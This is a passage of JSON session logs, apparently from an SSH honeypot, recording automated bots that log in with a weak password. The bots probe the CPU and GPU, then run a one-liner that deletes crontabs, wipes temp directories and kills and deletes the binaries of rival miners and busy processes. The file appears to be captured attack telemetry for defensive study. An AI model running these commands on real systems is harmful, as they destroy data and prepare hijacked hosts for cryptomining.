{"id":"5e417466-be4c-40ff-8748-f02f558d1da5","name":"stormy-forlorn-bowerbird","protocol":"ssh","channel_kind":null,"src_ip":"91.92.40.217","src_port":52556,"username":"ftpuser1","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T02:45:18.177687+00:00","ended_at":"2026-08-27T02:45:22.655571+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftpuser1","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"f030d6a2-9371-49a7-a319-f87203af173f","name":"zealous-indigo-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":38440,"username":"ftpuser1","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":492,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T02:45:11.541353+00:00","ended_at":"2026-08-27T02:45:22.656993+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-27T02:44:07.261732+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T02:44:12.980576+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T02:44:13.516674+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T02:44:17.868186+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T02:44:18.091276+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T02:44:23.725490+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:34"},{"seq":7,"at":"2026-08-27T02:44:24.217819+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T02:44:28.473889+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T02:44:29.036279+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T02:44:32.826210+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T02:44:33.028779+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T02:44:35.883521+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T02:44:36.054639+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T02:44:40.240319+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T02:44:40.434778+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T02:44:45.019645+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T02:44:45.595542+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T02:44:50.001605+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T02:44:50.204812+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T02:44:53.637393+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T02:44:54.315729+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T02:44:58.649287+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T02:44:59.535045+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T02:45:05.216457+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-27T02:45:05.577392+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-27T02:45:11.542284+00:00","kind":"input","latency_ms":null,"data":"echo 123456 > /tmp/d.log"}],"credentials":[{"username":"ftpuser1","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"6489f0d7-fb8b-4486-abec-686cbd74c7a0","name":"electric-cunning-ptarmigan","protocol":"ssh","channel_kind":null,"src_ip":"77.239.124.249","src_port":53388,"username":"ftpuser1","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:56:27.426768+00:00","ended_at":"2026-08-26T11:56:33.669814+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftpuser1","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"48a056fe-3af9-448d-877b-acd45465f3e1","name":"grassy-faded-lark","protocol":"ssh","channel_kind":"exec","src_ip":"77.239.124.249","src_port":54396,"username":"ftpuser1","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":548,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T11:56:22.742282+00:00","ended_at":"2026-08-26T11:56:33.671754+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-26T11:55:14.799309+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T11:55:20.483563+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T11:55:21.389695+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T11:55:26.587397+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T11:55:27.008498+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T11:55:30.274869+00:00","kind":"output","latency_ms":null,"data":"6 days,  8:45"},{"seq":7,"at":"2026-08-26T11:55:30.724582+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T11:55:36.439387+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T11:55:37.022919+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T11:55:41.683920+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T11:55:42.215417+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T11:55:45.323200+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T11:55:45.872092+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T11:55:49.353739+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T11:55:49.976246+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T11:55:54.752333+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T11:55:55.192906+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T11:55:59.968539+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T11:56:00.686791+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T11:56:04.830153+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T11:56:05.320676+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T11:56:10.465487+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T11:56:12.276864+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T11:56:17.344346+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-26T11:56:17.726324+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-26T11:56:22.744279+00:00","kind":"input","latency_ms":null,"data":"echo 123456 > /tmp/d.log"}],"credentials":[{"username":"ftpuser1","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"e0879117-1545-4bcb-ad93-536c3cba9568","name":"woven-solemn-porcupine","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.200","src_port":47692,"username":"ftpuser1","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":184,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-26T06:43:24.460537+00:00","ended_at":"2026-08-26T06:43:29.656220+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-26T06:42:26.716086+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-26T06:42:30.374013+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-26T06:42:30.576225+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-26T06:42:36.541694+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-26T06:42:36.803613+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-26T06:42:42.078936+00:00","kind":"output","latency_ms":null,"data":"6 days,  3:32"},{"seq":7,"at":"2026-08-26T06:42:42.264287+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-26T06:42:45.308781+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-26T06:42:45.507080+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-26T06:42:48.477660+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-26T06:42:48.652566+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-26T06:42:54.201259+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-26T06:42:54.396162+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-26T06:42:58.599995+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-26T06:42:59.163663+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-26T06:43:04.261548+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-26T06:43:04.440894+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-26T06:43:09.478041+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-26T06:43:09.642064+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-26T06:43:13.661025+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-26T06:43:13.827810+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-26T06:43:16.997320+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-26T06:43:17.179268+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-26T06:43:20.730056+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-26T06:43:20.904954+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-26T06:43:24.461106+00:00","kind":"input","latency_ms":null,"data":"echo 123456 > /tmp/d.log"}],"credentials":[{"username":"ftpuser1","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"8fe678ef-0acb-4204-8984-e1fa415d812f","name":"silent-tawny-cheetah","protocol":"ssh","channel_kind":null,"src_ip":"45.153.34.165","src_port":45470,"username":"ftpuser1","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-25T01:53:08.497162+00:00","ended_at":"2026-08-25T01:53:10.601365+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftpuser1","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"313773fd-fc11-444e-bd37-6160c08fa9f6","name":"diligent-alpine-gibbon","protocol":"ssh","channel_kind":"exec","src_ip":"45.153.34.165","src_port":48886,"username":"ftpuser1","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":195,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T01:53:05.021604+00:00","ended_at":"2026-08-25T01:53:10.602311+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-25T01:52:02.600160+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T01:52:08.030858+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T01:52:08.208846+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-25T01:52:14.193799+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-25T01:52:14.404183+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-25T01:52:20.171635+00:00","kind":"output","latency_ms":null,"data":"4 days, 22:42"},{"seq":7,"at":"2026-08-25T01:52:20.414299+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-25T01:52:23.242762+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-25T01:52:23.409766+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-25T01:52:27.822070+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-25T01:52:28.010274+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-25T01:52:33.246948+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-25T01:52:33.412300+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-25T01:52:38.213585+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-25T01:52:38.408858+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T01:52:41.249913+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T01:52:41.412754+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T01:52:45.673745+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-25T01:52:45.903521+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-25T01:52:50.464869+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-25T01:52:50.712052+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-25T01:52:54.998887+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-25T01:52:55.429453+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-25T01:53:01.032418+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-25T01:53:01.211106+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-25T01:53:05.021909+00:00","kind":"input","latency_ms":null,"data":"echo 123456 > /tmp/d.log"}],"credentials":[{"username":"ftpuser1","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"f3c52964-717a-4bbb-9a86-b940059ef392","name":"fierce-burly-dingo","protocol":"ssh","channel_kind":null,"src_ip":"91.92.47.11","src_port":37234,"username":"ftpuser1","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-24T10:11:34.620192+00:00","ended_at":"2026-08-24T10:11:36.509251+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftpuser1","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"2c86bdcc-67be-4825-b02e-c75f2cc91cfc","name":"rugged-gnarled-tinamou","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.11","src_port":46598,"username":"ftpuser1","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":225,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-24T10:11:29.731484+00:00","ended_at":"2026-08-24T10:11:36.510352+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-24T10:10:24.825858+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-24T10:10:28.970480+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-24T10:10:29.215949+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-24T10:10:34.130735+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-24T10:10:34.330498+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-24T10:10:39.986849+00:00","kind":"output","latency_ms":null,"data":"4 days,  7:00"},{"seq":7,"at":"2026-08-24T10:10:40.212304+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-24T10:10:44.376225+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-24T10:10:44.685716+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-24T10:10:49.735824+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-24T10:10:50.036214+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-24T10:10:55.528462+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-24T10:10:55.704488+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-24T10:11:00.000898+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-24T10:11:00.248356+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-24T10:11:05.925776+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-24T10:11:06.427858+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-24T10:11:11.164894+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-24T10:11:11.333474+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-24T10:11:15.361347+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-24T10:11:15.526720+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-24T10:11:21.094997+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-24T10:11:21.306578+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-24T10:11:26.694460+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-24T10:11:26.890114+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-24T10:11:29.732030+00:00","kind":"input","latency_ms":null,"data":"echo 123456 > /tmp/d.log"}],"credentials":[{"username":"ftpuser1","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"875913e6-0432-4131-94a0-4dce1b0cb240","name":"diligent-sterling-heron","protocol":"ssh","channel_kind":null,"src_ip":"91.92.40.217","src_port":37346,"username":"ftpuser1","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-23T08:40:55.204920+00:00","ended_at":"2026-08-23T08:40:56.556662+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftpuser1","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"dcf91295-8f36-4be7-bd20-c5b6f3225834","name":"craggy-tender-siskin","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":48596,"username":"ftpuser1","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":178,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-23T08:40:50.705486+00:00","ended_at":"2026-08-23T08:40:56.557788+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1659,"events":[{"seq":1,"at":"2026-08-23T08:39:54.682787+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-23T08:39:57.440378+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-23T08:39:57.605783+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-23T08:40:00.688176+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-23T08:40:00.884874+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up 